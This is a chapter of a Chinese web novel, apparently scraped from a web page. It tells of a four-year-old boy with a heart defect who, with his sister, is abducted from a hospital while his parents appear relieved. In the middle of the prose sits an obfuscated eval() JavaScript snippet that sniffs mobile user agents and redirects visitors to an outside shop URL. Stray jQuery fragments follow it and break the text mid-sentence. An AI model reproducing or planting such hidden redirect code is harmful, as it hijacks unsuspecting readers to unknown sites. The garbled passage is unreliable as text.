我叫章秋。
一对大怪物生下的小怪物。
*
路况很差，车颠簸得厉害，一下一下地把后脑勺往车箱砸。
章秋被颠醒的。
窗外刺眼的阳光晃得他眯了眯眼。
章秋动了动手脚，发现自己的手被反绑在身后，粗麻绳紧紧地勒住手腕，绳子扎进破皮的伤口，很疼。
他侧过头，看向躺在身边的女孩，手腕上缠着同样的麻绳。
章秋费力地一点点凑过去，将冰凉的小脸贴上姐姐的脸。他轻轻蹭了蹭，像一只寒冷的冬天终于找到窝的小动物。窝在姐姐身边，满足得整个人都柔软下来，连手都不疼了。
他就知道，这个家里只有姐姐最喜欢他了，哪怕身体不好姐姐还是喜欢他。
真好。
姐姐爱他。
得到这个答案，章秋心满意足地躺在姐姐的胸膛上，听着她胸腔传来的一声又一声强劲的心跳声。
车顶还在晃，太阳也从左边慢慢移到右边。
章秋忽然笑了，笑得灿烂又无辜。
他想
他可真是个坏孩子。
*
时间拉回到几天前。
首都医院。
空气中弥漫着浓郁的消毒水味。
章秋安静地坐在走廊的长椅上，悬在半空的小短腿一动不动，乖巧的得像个精致的人偶。
诊室的门没有关严，留着一条缝，声音断断续续地从门缝里漏出来。
“孩子的心脏缺陷比我们上次影像评估的还要复杂，他的心脏大室间隔缺损问题很严重，如果不尽快手术，会拖成重度肺动脉高压，严重的话会影响寿命。”
“我建议不要等，趁孩子还小，赶紧做手术。”
“手术要多少钱？”
“保守估计要两到四万，具体要看手术的情况。”
诊断室安静了一会儿，隐隐约约传出医生的建议。
“孩子还小，这个年龄段做出来的效果最好，术后恢复也快，基本上能和正常孩子一样生活。”
“你们好好考虑一下。”
考虑？
嗤。
章秋在心里嘲弄地嗤笑一声
考虑什么？
考虑花钱救他这个残次品，还是省下一笔钱，再生一个健康的孩子？
他们考虑的不是手术。
从来都不是。
他们带他四处求医，跑了一家医院又一家医院，从市里跑到省会，从省里跑到首都，只不过是期盼着能有一个医生能告诉他们不用做手术罢了。
那样，他们就可以心安理得地省下那笔钱，继续过他们体面的生活。
章秋也不知道这些想法是从什么时候开始在他脑子里成形的，但很轻易地就得出了这个结论。
走廊里传来脚步声。
章秋没有抬头。
他的记性很好，不是还不错的那种好。
是能完完整整复述出一年前的某一天内的全部事情，几点几分谁穿了什么衣服，说了什么话，吃了什么饭，幼儿园老师讲了什么故事，教了那些无聊的课程，事无巨细，清清楚楚。
大人总是觉得小孩子听不懂，或者听完了就会忘。
章秋不会忘。
他什么都记得。
更别提脚步声了。
从有记忆起，他就学会了分辨这些声音。
妈妈的高跟鞋清脆又利落，爸爸的脚步很重，老师的脚步像小偷，蹑手蹑脚的。
至于姐姐……
章秋托着下巴，眼神放空。
姐姐的脚步轻轻的，懒懒的，她不喜欢动，喜欢冲他伸手，让他主动跑过去。
这个脚步声不属于他们中的任何一个。
章秋抬头。
走廊的尽头走过来一个女人。
四十多岁的样子，皮肤粗糙，颧骨高耸，眼角和眼尾的位置带着深深的纹路，嘴唇干裂起皮，穿着一身洗得发白的棉衣。
她在走廊里环视一圈，最后落在章秋身上。
章秋对她露出一个标准的微笑。
女人愣了下，然后也笑了。被生活磋磨过的脸上，挂着一种不太自然，紧绷的讨好。
她快步走过来，蹲在章秋面前，从棉袄口袋里掏出一颗用棕色油纸包裹的糖，递到章秋面前。
“小朋友，你几岁啦？”
章秋看着那颗糖，没有接。他歪了歪头，一双大眼睛好奇又天真地望着她。
“四岁。”
“四岁啊，真乖。”
女人抬手就要摸章秋的脑袋，却被对方直接躲开。
章秋垂着眼，嫌恶地看了眼女人粗糙的手，再抬眼时，脸上依旧是那副天真的样子。
女人收回手，尴尬地搓了搓，把糖又往前递了递，诱哄道：“吃糖吗？”
章秋依旧没有接，他只是用一种诡异的目光注视着她，像是在看一只试图诱捕老鼠的猫。
就在这时，诊室的门被推开，章泽和梁文从诊室走出来。
章泽走在前面，手里拿着一沓新的检查单，皱着眉，脸上没什么表情。梁文牵着章露的手，走在后面。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556604|204445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
章露躲在妈妈身后，奇怪地看了眼站在弟弟对面的女人，又转头看向弟弟。
章秋对着姐姐露出一个甜甜的笑。
女人紧张地看了下夫妻俩，心虚得像是做了什么亏心事，赶忙收回手，快步离开。
章泽弯下腰，看了眼匆匆离开的女人，把章秋从长椅上抱起来。
章泽同意了医生手术的建议。
住院观察的那一段时间，章秋换上了病服住进了病房。女人也换了一身衣服，摇身一变，变成了他的护工。
梁文对章秋说，“爸爸忙工作，妈妈还要照顾姐姐，让赵阿姨照顾你段时间好不好？”
章秋没有说好，也没有说不好，因为他的意见不重要，能够作决定的也不是他。
他沉默地接受了父母的安排。
从那天起，女人每天都会出现在章秋的病房里。她给章秋端饭，帮章秋整理床铺，带章秋去做检查
她总是试图接近章秋，塞给他各种零食，称呼他的口吻也越来越亲昵，不像陌生人，倒像是长辈。
章秋对女人的感官很不好，他没有接受过女人给的任何零食，也明确拒绝对方更亲昵的称呼。
直到要做手术的前一天下午。
医院楼下的草坪上，阳光正好。
女人说带章秋去楼下晒太阳。
趁着章泽和梁文不注意，女人和她丈夫，一左一右，强行抱住了章秋。
章秋在第一时间冲着父母的方向，高声大喊：“爸爸！妈妈！”
可惜，没人回头。
爸爸在打电话，妈妈手里拿着病历一直不停地翻，一页一页翻得很仔细。
章秋一口狠狠咬住男人的手，趁男人吃痛松开他的嘴巴时，撕心裂肺地喊了一声，“姐姐——！”
在草坪另一边观察蚂蚁的章露听到了。
她回头，看到弟弟被人死死抱住，小脸被捂得通红，一双腿到处乱蹬，拼命挣扎。
章露像个小炮弹一样冲过去，用脑袋狠狠撞向男人。
四岁的小孩子，再用力气，再拼命也抵不过两个干了一辈子苦力的中年人。
两人一起被带走，塞进一辆破破烂烂的面包车。
上车前的最后一刻，章秋拼命抵抗，忍着痛，用尽全身力气扭过头，看向父母的方向。
隔着十几米的距离，章秋对上了父母的视线。
直到长大以后，章秋终于读懂了里面的含义。
震惊、慌乱，还有如释重负，像是终于摆脱了一块烫手的山芋。
车门砰的一声关上了。